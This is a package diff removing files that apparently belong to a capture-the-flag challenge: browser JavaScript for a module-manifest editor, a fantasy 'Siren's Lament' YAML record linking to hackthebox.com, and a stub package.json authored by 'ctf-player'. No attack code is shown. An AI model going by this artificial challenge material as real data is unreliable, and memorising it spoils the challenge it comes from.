148
- const result = await response.json();
149
-
150
- if (response.ok) {
151
- showMessage(result.message, "success");
152
- // Reload modules to reflect changes
153
- loadModules();
154
- } else {
155
- showMessage(result.message, "error");
156
- }
157
- } catch (error) {
158
- console.error("Error updating module:", error);
159
- showMessage("Failed to update ecto-module manifest", "error");
160
- }
161
- }
162
-
163
- // Search modules
164
- function searchModules() {
165
- const searchTerm = document.getElementById("search").value.toLowerCase();
166
- const filteredModules = modules.filter(
167
- (module) =>
168
- module.id.toLowerCase().includes(searchTerm) ||
169
- (module.name && module.name.toLowerCase().includes(searchTerm)) ||
170
- (module.power_level &&
171
- module.power_level.toLowerCase().includes(searchTerm)),
172
- );
173
- displayModules(filteredModules);
174
- }
175
-
176
- // Show message to user
177
- function showMessage(message, type = "info") {
178
- console.log(`${type.toUpperCase()}: ${message}`);
179
- }
180
-
181
- // Initialize everything when page loads
182
- document.addEventListener("DOMContentLoaded", function () {
183
- initializeEditor();
184
- loadModules();
185
-
186
- // Add search functionality
187
- document.getElementById("search").addEventListener("input", searchModules);
188
- document.getElementById("search").addEventListener("keypress", function (e) {
189
- if (e.key === "Enter") {
190
- searchModules();
191
- }
192
- });
193
- });
194
-
195
- // Make functions globally available
196
- window.searchModules = searchModules;
Binary file
Binary file
package/orig.yaml DELETED
@@ -1,32 +0,0 @@
1
- ecto_module:
2
- name: "Siren's Lament"
3
- version: "2.14.789"
4
- power_level: Very High
5
- spectral_marks:
6
- - "Ethereal seashells embedded in phantom hair"
7
- - "Ghostly scales shimmering along spectral arms"
8
- manifestation: "Haunting aquamarine spirit with flowing ethereal hair"
9
- wraith_essence: "Hypnotic song magic and oceanic fury"
10
- origin: "The Drowned Coral Palace of Atlantica"
11
- soul_portrait: "https://hackthebox.com/spectral-forms/siren_lament.jpg"
12
- former_profession: "Royal Siren of the Deep Ocean Courts"
13
- curse_origin: "Lured an entire fleet of merchant vessels to their watery graves"
14
- binding_duration: "Bound until the seven seas run dry"
15
- ship_name: "Spectral Corsair"
16
- ship_deck: "Beta-2"
17
- cargo_hold: "B2-13"
18
- spectral_duties:
19
- - "Enchant enemy crews with hypnotic songs during raids"
20
- - "Summon phantom sea creatures to defend the ship"
21
- haunting_record:
22
- manifestations: 8
23
- last_manifestation: "Charmed an entire naval squadron into sailing into a maelstrom - 2024-01-15"
24
- remarks: "Deadly beautiful spirit whose voice can command the very waves"
25
- ethereal_status:
26
- form_stability: "Fluctuates with the tides, strongest during storms"
27
- mental_state: "Melancholic and vengeful, mourns her lost underwater kingdom"
28
- danger_level: "VERY HIGH - Her song can drive mortals to madness"
29
- allies:
30
- - "Coral Wraith"
31
- - "Sea-Bound Siren"
32
-
package/package.json.bak DELETED
@@ -1,8 +0,0 @@
1
- {
2
- "name": "ect-987654",
3
- "version": "0.0.1",
4
- "main": "index.js",
5
- "description": "utility module",
6
- "author": "ctf-player",
7
- "license": "ISC"
8
- }